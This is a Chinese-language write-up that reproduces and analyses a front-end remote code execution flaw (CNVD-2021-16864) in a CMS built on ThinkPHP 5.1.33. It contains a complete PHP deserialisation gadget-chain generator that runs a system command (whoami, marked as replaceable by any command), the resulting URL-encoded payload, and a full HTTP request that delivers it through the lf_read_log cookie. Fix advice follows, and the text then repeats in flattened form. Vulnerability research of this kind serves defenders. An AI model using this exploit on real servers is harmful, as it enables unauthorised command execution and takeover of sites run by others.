CNVD-2021-16864 某雨cms前台rce复现分析
字数 1132 2025-08-05 08:17:55

某雨CMS前台RCE漏洞复现与分析 (CNVD-2021-16864)

漏洞概述

本漏洞是某雨CMS v1.3.0版本中存在的一个前台远程代码执行漏洞,由于系统使用了存在反序列化漏洞的ThinkPHP框架(5.1.33版本)并结合可控的反序列化输入点,导致攻击者可以在未授权情况下执行任意系统命令。

环境搭建

  1. 下载安装包

    • 从官网下载1.3.0版本(注意:新版本可能已修复此漏洞)
    • 下载地址:http://bbs.kyxscms.com/?t/1.html
  2. 安装说明

    • 参考官方安装文档:http://help.kyxscms.com/935571
    • 或参考第三方安装教程:https://www.jianshu.com/p/b631b16934c8
  3. 安装环境

    • 使用PHPStudy等集成环境搭建
    • 安装完成后在前台注册用户(漏洞利用需要已登录用户身份)

漏洞利用步骤

1. 生成Payload

使用以下PHP代码生成反序列化Payload:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion {}
    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get()
        {
            $this->data = ["lin" => "whoami"]; // 此处可修改为要执行的命令
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {
    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

运行后会生成如下URL编码的Payload:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D

2. 构造恶意请求

使用Burp Suite或其他工具构造如下HTTP请求:

GET /user/recentread HTTP/1.1
Host: 目标IP
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: lf___forward__=%2Findex.php; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test123%22%7D; lf_user_auth_sign=55191927140cf618017e2013feb6902eea3a01e0; lf_read_log=生成的Payload
Connection: close

关键点

  • 需要已登录用户的Cookie(lf_user_auth和lf_user_auth_sign)
  • Payload必须放在lf_read_log Cookie字段中
  • Cookie键名前缀为lf_(系统自动添加)

漏洞分析

1. 漏洞成因

漏洞主要由两个因素共同导致:

  1. 系统使用了存在反序列化漏洞的ThinkPHP 5.1.33框架
  2. 系统提供了可控的反序列化输入点(通过Cookie中的read_log字段)

2. 反序列化链分析

利用链执行流程:

  1. think\process\pipes\Windows 类被反序列化
  2. 触发think\model\Pivot类的构造方法
  3. 调用get()方法设置$data$withAttr属性
  4. ThinkPHP框架在处理模型属性时会调用system()函数执行命令

3. 关键代码点

漏洞触发路径:

  1. 访问/user/recentread路由
  2. 系统从Cookie中读取read_log字段(实际为lf_read_log
  3. 对Cookie值进行反序列化操作
  4. 触发反序列化漏洞执行任意命令

修复建议

  1. 升级ThinkPHP框架到安全版本
  2. 对用户输入的序列化数据进行严格过滤
  3. 禁用不必要的反序列化操作
  4. 更新某雨CMS到最新版本(官方可能已发布修复版本)

注意事项

  1. 实际测试时需确保使用v1.3.0版本(新版本可能已修复)
  2. 漏洞利用需要先注册并登录一个普通用户账号
  3. 测试应在授权环境下进行,避免违反法律法规
某雨CMS前台RCE漏洞复现与分析 (CNVD-2021-16864) 漏洞概述 本漏洞是某雨CMS v1.3.0版本中存在的一个前台远程代码执行漏洞,由于系统使用了存在反序列化漏洞的ThinkPHP框架(5.1.33版本)并结合可控的反序列化输入点,导致攻击者可以在未授权情况下执行任意系统命令。 环境搭建 下载安装包 : 从官网下载1.3.0版本(注意:新版本可能已修复此漏洞) 下载地址:http://bbs.kyxscms.com/?t/1.html 安装说明 : 参考官方安装文档:http://help.kyxscms.com/935571 或参考第三方安装教程:https://www.jianshu.com/p/b631b16934c8 安装环境 : 使用PHPStudy等集成环境搭建 安装完成后在前台注册用户(漏洞利用需要已登录用户身份) 漏洞利用步骤 1. 生成Payload 使用以下PHP代码生成反序列化Payload: 运行后会生成如下URL编码的Payload: 2. 构造恶意请求 使用Burp Suite或其他工具构造如下HTTP请求: 关键点 : 需要已登录用户的Cookie(lf_ user_ auth和lf_ user_ auth_ sign) Payload必须放在 lf_read_log Cookie字段中 Cookie键名前缀为 lf_ (系统自动添加) 漏洞分析 1. 漏洞成因 漏洞主要由两个因素共同导致: 系统使用了存在反序列化漏洞的ThinkPHP 5.1.33框架 系统提供了可控的反序列化输入点(通过Cookie中的 read_log 字段) 2. 反序列化链分析 利用链执行流程: think\process\pipes\Windows 类被反序列化 触发 think\model\Pivot 类的构造方法 调用 get() 方法设置 $data 和 $withAttr 属性 ThinkPHP框架在处理模型属性时会调用 system() 函数执行命令 3. 关键代码点 漏洞触发路径: 访问 /user/recentread 路由 系统从Cookie中读取 read_log 字段(实际为 lf_read_log ) 对Cookie值进行反序列化操作 触发反序列化漏洞执行任意命令 修复建议 升级ThinkPHP框架到安全版本 对用户输入的序列化数据进行严格过滤 禁用不必要的反序列化操作 更新某雨CMS到最新版本(官方可能已发布修复版本) 注意事项 实际测试时需确保使用v1.3.0版本(新版本可能已修复) 漏洞利用需要先注册并登录一个普通用户账号 测试应在授权环境下进行,避免违反法律法规